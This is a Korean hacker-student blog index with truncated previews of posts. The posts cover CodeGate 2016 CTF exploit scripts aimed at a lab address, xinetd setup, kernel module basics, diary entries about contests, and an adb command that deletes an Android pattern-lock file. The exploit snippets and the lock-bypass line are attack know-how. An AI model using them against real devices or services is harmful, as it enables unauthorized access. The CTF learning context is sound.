본문 바로가기

분류 전체보기

2016 CodeGate bugbug exploit 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172from SunKn0wn import * def attack(): r = remote('192.168.179.135', 2222) ########## Variables ########## printf_got = 0x0804A010 read_got = 0x0804A00C exit_got = 0x0804A024 system_lib = 0 rand_seed = 0 rand_str = '' lib_base = 0 printlen = 0 printsum = 0 shell = .. 더보기
2016 CodeGate fl0ppy exploit 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394from SunKn0wn import * r = remote('192.168.179.135', 9999) def choose(floppy_num): r.recvuntil('>\n') r.sendline('1') r.recvuntil('1 or 2?\n') r.sendline(str(floppy_num)) def write(data, description): r.recvuntil('>\n').. 더보기
xinetd 데몬 서비스 설정 service 서비스이름 { disable = no flags = REUSE socket_type = stream wait = no user = 프로그램 실행 권한 server = 프로그램 경로 }echo "servicename portnum/tcp" >> /etc/services 더보기
2016년 3월 25일 금요일 일기.. 넘나 오랜만인것... 한 몇백년만에 일기를 쓰는거 같다. 디미고 개학하고 코드게이트도 하고, 동아리 모집도 하고, 이것저것 하면서 되게 바쁘게 지나간 것 같다. 코게는 예선에서 31위를 했다. 적당히 끝나기 한시간 전 쯤만 해도 17위라서 적당히 막 놀면서 하고 있었는데 끝나기 한 30분 전쯤부터 갑자기 밑에 있던 사람들이 푸수수수사사갸ㅑ사삿샤샤샥 올라오면서 순식간에 순위가 엄청나게 밀렸었다. 진짜 새로고침 한 번 할 때마다 막 순위가 내려가고 그랬다. 222문제를 많이 풀면서 올라왔는데 웹알못이라 툴밖에 못써서 웹은 많이 안 건드리고 있었는데 그렇게 막 올라오니까 엄청 무서웠었다. 그리고 내가 포너블은 아직 엄청 부족하다는거를 느꼈다. 포맷스트링도 완벽하게 손에 익지도 않았고, 취약점을 찾아도.. 더보기
Hello, World! 2 module_init(), module_exit() 매크로 사용make 갑자기 커널 모듈로 리버싱 문제를 만들면 꽤 재밌을 것 같다는 생각을 하였다.. 모듈을 직접 분석하여 특정 주소에 키 값을 올리면 모듈이 체크하여 correct, wrong 구분하도록.. 더보기
Hello, World! Hello, World!를 로그에 기록하는 모듈을 만들어 보았다. make 더보기
제 13회 해킹캠프 "암걸리는 ARM 리버싱" 발표 자료 더보기
OS 개발 및 공부 스터디 5주차 보호되어 있는 글입니다. 더보기
adb 패턴 해제 AVD Manager로 가상 디바이스 실행adb remount adb shell 가상 디바이스 쉘 획득패턴 해제 # rm /data/system/gesture.key 더보기
2016년 2월 21일 일요일 오늘 해캠 발표 자료를 다 만들었다. arm에 생각보다 설명해야 할 내용이 많아서 넣을 내용이 좀 많았다. 시간이 부족하지 않도록 적절하게 잘 설명하고 말을 해야겠다. 그리고 이제 코드게이트 2016 접수를 시작했다. 신청은 다 해놓은 상태이고 본선만 가면 정말 좋겠다. 이번에 주최측이 그레이 해쉬에서 블랙펄 시큐리티로 바뀌었는데 문제 스타일이 어떻게 바뀔지 궁금하다. 3월 12일 대회 전까지는 포너블만 빡세게 공부하고 워게임이 아닌 대회 문제들을 위주로 풀어봐야겠다. 그리고 핀툴 사용하는 것을 좀 익혀 둬야할 것 같다. 나중에 노가다 리버싱 문제가 나왔을 때에는 핀툴로 풀어야 하니까 자주 쓰이는 함수들도 익혀놓고 공부좀 해 봐야겠다. 코드게이트가 끝나면 php랑 자바스크립트를 공부하고 웹프로그래밍 조금.. 더보기